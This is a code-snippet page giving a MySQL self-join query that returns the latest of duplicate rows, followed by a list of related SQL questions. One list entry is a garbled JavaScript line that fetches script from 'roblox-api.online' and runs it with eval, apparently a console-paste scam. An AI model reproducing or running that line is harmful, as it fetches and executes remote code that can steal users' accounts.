Mysql get latest duplicate rows

SELECT
   t1.primary_id,
   t1.duplicate_id,
   t1.data1,
   t1.data2
FROM
   table_name t1
LEFT JOIN table_name t2
	ON (t1.duplicate_id = t2.duplicate_id AND t1.primary_id < t2.primary_id) 
WHERE
	t2.primary_id IS NULL

Similar codes

4 votes245 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote260 views2 answers
What is 1=2 in sql
SQL
0 vote278 views2 answers
Laravel: customize or extend notifications - database model
SQL
2 votes272 views1 answer
Sql column values comma separated
SQL
0 vote303 views1 answer
Get role postgres
SQL
1 vote309 views1 answer
Mysql workbench requires visual c++ 2019 redistributable package
SQL
7 votes269 views1 answer
Connect mysql docker
SQL
5 votes297 views2 answers
Postgresql add not null constraint
SQL
1 vote261 views2 answers
Postgresql list columns
SQL
0 vote287 views1 answer
Sql server user permissions and roles
SQL